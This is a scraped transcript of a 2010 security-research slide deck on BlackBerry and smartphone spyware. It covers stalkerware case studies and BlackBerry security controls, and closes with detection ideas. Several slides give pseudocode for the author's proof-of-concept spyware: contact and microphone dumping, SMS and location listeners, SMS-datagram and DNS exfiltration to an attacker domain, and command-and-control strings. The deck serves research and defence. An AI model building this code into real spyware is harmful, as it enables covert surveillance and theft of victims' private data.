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The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
The Coming Wave of Smartphone Attacks - Texas DIR
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The Coming Wave of Smartphone Attacks - Texas DIR

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  • 1. The Coming Wave of Smartphone Attacks An Analysis of Blackberry and Other Mobile Device Spyware Tyler Shields – Senior Researcher
  • 2. Outline Background Case Studies of Mobile Spyware Blackberry Security Mechanisms Installation Methods Effects and Behaviors Technical Specifications Methods of Detection and Future Work Demonstration© 2010 Veracode, Inc. 2
  • 3. Presenter BackgroundCurrently Sr. Security Researcher, Veracode, Inc.Previously Security Consultant - Symantec Security Consultant - @Stake Incident Response and Forensics Handler – US GovernmentWishes He Was Infinitely Rich Personal Trainer to hot Hollywood starlets© 2010 Veracode, Inc. 3
  • 4. Mobile Spyware Often includes modifications to legitimate programs designed to compromise the device or device data Often inserted by those who have legitimate access to source code or distribution binaries May be intentional or inadvertent Not specific to any particular programming language Not specific to any particular mobile Operating System© 2010 Veracode, Inc. 4
  • 5. Attacker Motivation Practical method of compromise for many systems – Let the users install your backdoor on systems you have no access to – Looks like legitimate software so may bypass mobile AV Retrieve and manipulate valuable private data – Looks like legitimate application traffic so little risk of detection For high value targets such as financial services and government it becomes cost effective and more reliable – High-end attackers will not be content to exploit opportunistic vulnerabilities, which might be fixed and therefore unavailable at a critical juncture. They may seek to implant vulnerability for later exploitation – Think “Aurora” for Mobile Devices© 2010 Veracode, Inc. 5
  • 6. Why is Mobile The Future of Spyware© 2010 Veracode, Inc. 6
  • 7. Units Sold By Operating System 90,000.00 80,879 80,000.00 72,934 70,000.00 60,000.00 Units Sold 50,000.00 40,000.00 34,347 2008 Units 2009 Units 30,000.00 24,890 23,149 20,000.00 16,498 11,418 10,622 10,000.00 15,028 6,798 1,193 4,027 8,127 641 0 1,112 0.00 Symbian Research In iPhone OS Microsoft Linux Android WebOS Other OSs Motion Windows Mobile Data Source: DISTMO Appstore Analytics Operating System www.appstore.info© 2010 Veracode, Inc. 7
  • 8. Units Sold Market Growth 8% 6% 6% Percentage Growth in Market Share 4% 3% 3% 2% 0% 0% Symbian Research In iPhone OS Microsoft Linux Android WebOS Other OSs 0% Motion Windows Mobile -2% -2% -3% -3% -4% -6% -6% Operating System Data Source: DISTMO Appstore Analytics www.appstore.info© 2010 Veracode, Inc. 8
  • 9. Application Counts 160,000 150,998 140,000 120,000 Number Of Applications In Store Last Counted Jan/Feb 2010 100,000 80,000 60,000 40,000 19,897 20,000 6118 5291 1452 944 0 iPhone App Store Android Nokia Ovi Store Blackberry App Palm App Catalog Windows Marketplace (Maemo) World Marketplace Data Source: DISTMO Appstore Analytics Marketplace Name www.appstore.info© 2010 Veracode, Inc. 9
  • 10. iPhone Applications Sold 3.00 Applications Sold (In Billions) 2.50 2.00 1.50 1.00 0.50 0.00Data Source: Gartner, Inc., a research and advisory firm© 2010 Veracode, Inc. 10
  • 11. Back To The Future© 2010 Veracode, Inc. 11
  • 12. Back To The Future© 2010 Veracode, Inc. 12
  • 13. Case Studies of Mobile Spyware© 2010 Veracode, Inc. 13
  • 14. FlexiSpy http://www.flexispy.com $149 - $350 PER YEAR depending on features Features – Remote Listening – C&C Over SMS – SMS and Email Logging – Call History Logging – Location Tracking – Call Interception – GPS Tracking – Symbian, Blackberry, Windows Mobile Supported© 2010 Veracode, Inc. 14
  • 15. FlexiSpy Web Site Quotes “Download FlexiSPY spyphone software directly onto a mobile phone and receive copies of SMS, Call Logs, Emails, Locations and listen to conversations within minutes of purchase. “ “Catch cheating wives or cheating husbands, stop employee espionage, protect children, make automatic backups, bug meetings rooms etc.” “F Secure seem to think that its ok for them to interfere with legitimate, legal and accountable software. Who appointed them judge, jury and executioner anyway, and why wont they answer our emails, so we have to ask who is the real malware? Here is how to remove FSecure malware from your device. Please dont believe the fsecure fear mongers who simply wish you to buy their products.”© 2010 Veracode, Inc. 15
  • 16. Mobile Spy http://www.mobile-spy.com $49.97 PER QUARTER or $99.97 PER YEAR Features – SMS Logging – Call Logging – GPS Logging – Web URL Logging – BlackBerry, iPhone (Jailbroken Only), Android, Windows Mobile or Symbian© 2010 Veracode, Inc. 16
  • 17. Mobile Spy Web Site Quotes “This high-tech spy software will allow you to see exactly what they do while you are away. Are your kids texting while driving or using the phone in all hours of the night? Are your employees sending company secrets? Do they erase their phone logs?” “Our software is not for use on a phone you do not own or have proper permission to monitor from the user or owner. You must always follow all applicable laws and regulations in your region.” “Purchased by more than 30,000 customers in over 150 countries”© 2010 Veracode, Inc. 17
  • 18. Etisalat (SS8) Cell carrier in United Arab Emirates (UAE) Pushed via SMS as “software patch” for Blackberry smartphones Upgrade urged to “enhance performance” of Blackberry service Blackberry PIN messaging as C&C Sets FLAG_HIDDEN bit to true Interception of outbound email / SMS only Discovered due to flooded listener server cause retries that drained batteries of affected devices Accidentally released the .jar as well as the .cod (ooopsie?!)© 2010 Veracode, Inc. 18
  • 19. Bugs & Phonesnoop Bugs – Exfiltration of inbound and outbound email – Hidden PhoneSnoop – Remotely turn on a Blackberry phone microphone – Listen in on target ambient conversation© 2010 Veracode, Inc. 19
  • 20. Storm8 Phone Number Farming – iMobsters and Vampires Live (and others) – “Storm8 has written the software for all its games in such a way that it automatically accesses, collects, and transmits the wireless telephone number of each iPhone user who downloads any Storm8 game," the suit alleges. " ... Storm8, though, has no reason whatsoever to access the wireless phone numbers of the iPhones on which its games are installed." – “Storm8 says that this code was used in development tests, only inadvertently remained in production builds, and removed as soon as it was alerted to the issue.” – These were available via the iTunes App Store! – http://www.boingboing.net/2009/11/05/iphone-game-dev-accu.html© 2010 Veracode, Inc. 20
  • 21. Symbian Sexy Space – Poses as legitimate server ACSServer.exe – Calls itself Sexy Space„ – Steals phone and network information – Exfiltrates data via hacker owned web site connection – Can SPAM contact list members – Basically a “botnet” for mobile phones – Signing process  Anti-virus scan using F-Secure - Approx 43% proactive detection rate (PCWorld)  Random selection of inbound manually assessed – Symbian signed this binary as safe! – http://news.zdnet.co.uk/security/0,1000000189,39684313,00.htm© 2010 Veracode, Inc. 21
  • 22. Symbian MergoSMS – The worm spreads as self-signed (untrusted) SIS installers – Installer contains sub-SIS installers some of them signed by Symbian. – Spreads by sending text messages  Contain variable messages in Chinese and a link to a website  Going to link results in worm download – On phone reboot malware runs, downloads worm payload, completing infection – The worm was spread on Chinese file sharing web sites – Originally spread as games, themes, etc. for Symbian Series60 3rd & 5th edition phones. – http://www.f-secure.com/v-descs/trojan_symbos_merogosms.shtml© 2010 Veracode, Inc. 22
  • 23. 09Droid – Banking Applications Attack – Droid app that masquerades as any number of different target banking applications – Target banks included  Royal Bank of Canada  Chase  BB&T  SunTrust  Over 50 total financial institutions were affected – May steal and exfiltrate banking credentials – Approved and downloaded from Google’s Android Marketplace! – http://www.theinquirer.net/inquirer/news/1585716/fraud-hits-android-apps- market – http://www.pcadvisor.co.uk/news/index.cfm?RSS&NewsID=3209953 – http://www.f-secure.com/weblog/archives/00001852.html© 2010 Veracode, Inc. 23
  • 24. Blackberry Security Mechanisms© 2010 Veracode, Inc. 24
  • 25. Blackberry Takes Security Seriously KB05499: Protecting the BlackBerry smartphone and BlackBerry Enterprise Server against malware http://www.blackberry.com/btsc/search.do?cmd=displayKC&docTyp e=kc&externalId=KB05499 Protecting the BlackBerry device platform against malware http://docs.blackberry.com/en/admin/deliverables/1835/Protecting the BlackBerry device platform against malware.pdf Placing the BlackBerry Enterprise Solution in a segmented network http://docs.blackberry.com/en/admin/deliverables/1460/Placing_the_ BlackBerry_Enterprise_Solution_in_a_Segmented_Network.pdf BlackBerry Enterprise Server Policy Reference Guide http://docs.blackberry.com/en/admin/deliverables/7228/Policy_Refer ence_Guide.pdf© 2010 Veracode, Inc. 25
  • 26. Does It Really Matter?! Only 23% of smartphone owners use the security software installed on the devices. (Source: Trend Micro Inc. survey of 1,016 U.S. smartphone users, June 2009) 13% of organizations currently protect from mobile viruses (Mobile Security 2009 Survey by Goode Intelligence)© 2010 Veracode, Inc. 26
  • 27. Code Signing Subset of Blackberry API considered “controlled” Use of controlled package, class, or method requires appropriate code signature Blackberry Signature Tool comes with the Blackberry JDE Acquire signing keys by filling out a web form and paying $20 – This not is a high barrier to entry – 48 hours later you receive signing keys Install keys into signature tool© 2010 Veracode, Inc. 27
  • 28. Code Signing Process Hash of code sent to RIM for API tracking purposes only RIM does not get source code COD file is signed based on required keys Application ready to be deployed Easy to acquire anonymous keys© 2010 Veracode, Inc. 28
  • 29. IT Policies Requires connection to Blackberry Enterprise Server (BES) Supersedes lower levels of security restrictions Prevent devices from downloading third-party applications over wireless Prevent installation of specific third-party applications Control permissions of third party applications – Allow Internal Connections – Allow Third-Party Apps to Use Serial Port – Allow External Connections MOSTLY “Default Allow All” policy for BES and non-BES devices© 2010 Veracode, Inc. 29
  • 30. Application Policies Can be controlled at the BES If no BES present, controls are set on the handheld itself Can only be MORE restrictive than the IT policy, never less Control individual resource access per application Control individual connection access per application MOSTLY “Default Allow All” policy for BES and non-BES devices© 2010 Veracode, Inc. 30
  • 31. V4.7.0.148 Default 3rd Party Application Permissions Bluetooth PhoneUSB Connections Location Data Connections Connections Internet IPC Device Settings Application Media Themes Input Simulation Management Security Timer Browser Filtering Recording Reset Email Data Organizer Data Files Security Data© 2010 Veracode, Inc. 31
  • 32. V5.0.0.328 Default 3rd Party Application Permissions Bluetooth PhoneUSB Connections Location Data Connections Connections Server Network Internet IPC Device Settings Application Media Themes Input Simulation Management Security Timer Display Information Browser Filtering Recording Reset While Locked Email Data Organizer Data Files Security Data© 2010 Veracode, Inc. 32
  • 33. V5.0.0.328 Trusted 3rd Party Application Permissions Bluetooth PhoneUSB Connections Location Data Connections Connections Server Network Internet IPC Device Settings Application Media Themes Input Simulation Management Security Timer Display Information Browser Filtering Recording Reset While Locked Email Data Organizer Data Files Security Data© 2010 Veracode, Inc. 33
  • 34. Installation Methods© 2010 Veracode, Inc. 34
  • 35. Installation Methods Accessing a web site using the BlackBerry Browser and choosing to download the application over the network (OTA Installation) Running the application loader tool of the BlackBerry Desktop Manager and choosing to download the application onto the BlackBerry device using a physical connection to the computer Blackberry BES push the application to your user community Get it into the Blackberry App World and let the user choose to install it for you!© 2010 Veracode, Inc. 35
  • 36. Installation Files .COD files: A COD file is a proprietary file format developed by RIM that contains compiled and packaged application code. .JAD files: An application descriptor that stores information about the application itself and the location of .COD files .JAR files: a JAR file (or Java ARchive) is used for aggregating many files into one. It is generally used to distribute Java classes and associated metadata. .ALX files: Similar to the .JAD file, in that it holds information about where the installation files for the application are located© 2010 Veracode, Inc. 36
  • 37. txsBBSpy Effects and Behaviors© 2010 Veracode, Inc. 37
  • 38. txsBBSpy Logging and Dumping Monitor connected / disconnected calls Monitor PIM added / removed / updated Monitor inbound SMS Monitor outbound SMS Real Time track GPS coordinates Dump all contacts Dump current location Dump phone logs Dump email Dump microphone capture (security prompted)© 2010 Veracode, Inc. 38
  • 39. txsBBSpy Exfiltration and C&C Methods SMS (No CDMA) SMS Datagrams (Supports CDMA) Email HTTP GET HTTP POST TCP Socket UDP Socket DNS Exfiltration Default command and control to inbound SMS TXSPROTO Bidirectional TCP based command and control© 2010 Veracode, Inc. 39
  • 40. txsBBSpy Technical Specifications© 2010 Veracode, Inc. 40
  • 41. Technical Methods Data Dumpers Listeners Exfiltration Methods Command and Control© 2010 Veracode, Inc. 41
  • 42. Dump Contact Information API – javax.microedition.pim – net.rim.blackberry.API.pdap Pseudocode PIM pim = PIM.getInstance(); BlackBerryPIMList contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY); Enumeration eContacts = contacts.items(); Contact contact = (Contact) eContacts.nextElement(); if (contacts.isSupportedField(Contact.EMAIL)) { if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0); }© 2010 Veracode, Inc. 42
  • 43. Dump Microphone API – javax.microedition.media.control – javax.microedition.media.manager – javax.microedition.media.player Pseudocode Player p = Manager.createPlayer("capture://audio"); RecordControl rc = (RecordControl)p.getControl("RecordControl"); ByteArrayOutputStream os = new ByteArrayOutputStream(); rc.setRecordStream(os); rc.startRecord();© 2010 Veracode, Inc. 43
  • 44. Location Listener Create the class that implements LocationListener Interface Get LocationProvider instance Add LocationListener API – javax.microedition.location.LocationProvider.getInstance – javax.microedition.location.LocationProvider.setLocationListener Pseudocode ll = new LocListener(); lp = LocationProvider.getInstance(null); lp.setLocationListener(ll, 1, 1, 1);© 2010 Veracode, Inc. 47
  • 45. SMS Outbound Listener Create class that implements “SendListener” interface Add the SendListener API – net.rim.blackberry.api.sms.SMS – javax.wireless.messaging.TextMessage Pseudocode sl = new SMSOUTListener(); SMS.addSendListener(sl);© 2010 Veracode, Inc. 48
  • 46. PIM Listener Create the class that implements PIMListListener Interface Open Target PIMList and Add PIMListListener API – javax.microedition.pim.PIM.getInstance() – net.rim.blackberry.api.pdap.BlackBerryPIMList.addListener Pseudocode pl = new PhoneLogger(); pim = PIM.getInstance(); contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY); contacts.addListener(piml);© 2010 Veracode, Inc. 51
  • 47. SMS Datagram Exfiltration API – javax.microedition.io.Connector – javax.microedition.io.DatagramConnection – javax.microedition.io.Datagram Pseudocode DatagramConnection dc = (DatagramConnection)Connector.open("sms://"+this.pnum+":3590 "); Datagram d = dc.newDatagram(dc.getMaximumLength()); byte[] buf = msg.getBytes(); d.setData(buf, 0, buf.length); d.write(buf, 0, buf.length); dc.send(d);© 2010 Veracode, Inc. 52
  • 48. DNS Exfiltrationdo { // Code to trim the message to 200 chars per iteration}try { msg2 = Base64OutputStream.encodeAsString(msg2.getBytes(), 0, msg2.length(), false, false); conn = (DatagramConnection)Connector.open("udp://"+msg2+"."+this.domain+":7272;4444 "); conn.close();} catch (ConnectionNotFoundException e) { return;} catch (IOException e){ // Do nothing, just catch and ignore}} while (msg.length() > 200);© 2010 Veracode, Inc. 54
  • 49. Threaded Exfiltration Listener based exfiltration methods use separate thread Doesn‟t freeze UI interface Queues messages outbound if network is slow ThreadedSend extends Thread class Uses run() method to call exfiltrate()© 2010 Veracode, Inc. 58
  • 50. Command and Control Channels Default is inbound SMS communication Bi-drectional TXSPROTO TCP based command and control – Additional Stealth (intentionally not completely invisible) – Allows for pretty GUI clients (basic mock up done) – Will more easily allow for control of multiple victims – Can be used to easily implement novelty attacks  Swap the contact databases of two victims  Easily have phone A call phone B  Integrated Google earth tracking of victim without parsing return email responses  Much more shenanigans!© 2010 Veracode, Inc. 59
  • 51. Command and Control Channels initCandC(int a) – Initializes inbound SMS listener if passed a == 1 – Kills spyware otherwise – Listens for commands and acts accordingly TXSDIE TXSPHLON TXSPHLOFF TXSPIMON TXSPIMOFF TXSSLINON TXSSLINOFF TXSSLOUTON TXSSLOUTOFF TXSGLON TXSGLOFF TXSEXFILSMS TXSEXFILSMSDG TXSEXFILEMAIL TXSEXFILGET TXSEXFILPOST TXSEXFILTCP TXSEXFILUDP TXSEXFILDNS TXSDUMPGPS TXSDUMPPL TXSDUMPEMAIL TXSDUMPMIC TXSDUMPCON TXSPROTO TXSPORT[PORT] TXSPHONE:[PN] TXSURL[URL] TXSGTIME:[N] TXSPING TXS:[HOST] TXSIP:[IP] TXSEM:[EMAIL]© 2010 Veracode, Inc. 60
  • 52. Methods of Detection and Future Work© 2010 Veracode, Inc. 61
  • 53. Methods of Detection Additional Operating System Prompts – Remove the “Trust Application” prompt requiring individual configuration Signature Based – This is how the current anti-virus world is failing Sandbox Based Execution Heuristics – Still requires execution in a sandbox and is reactive – Can‟t ensure complete execution Static Decompilation and Analysis – Enumeration of sources of sensitive taint and exfiltration sinks – Control/Data flow mapping for tracing sensitive taint from source to sink – Compare findings against expected values© 2010 Veracode, Inc. 62
  • 54. Future Work (Offensive AND Defensive) Reverse engineer .cod file format Continued research into unobstructed installation methods (requires exploitation) Infect PC with virus that acts as distribution hub Research additional exfiltration methods for tunneling without prompting© 2010 Veracode, Inc. 63
  • 55. Demonstration© 2010 Veracode, Inc. 64
  • 56. Conclusion We are currently trusting the vendor application store provider for the majority of our mobile device security Minimal methods of real time eradication or detection of spyware type activities No easy/automated way to confirm for ourselves what the applications are actually doing© 2010 Veracode, Inc. 65
  • 57. The Monkey Steals the Berries! Questions?© 2010 Veracode, Inc. 66
  • 58. Questions?

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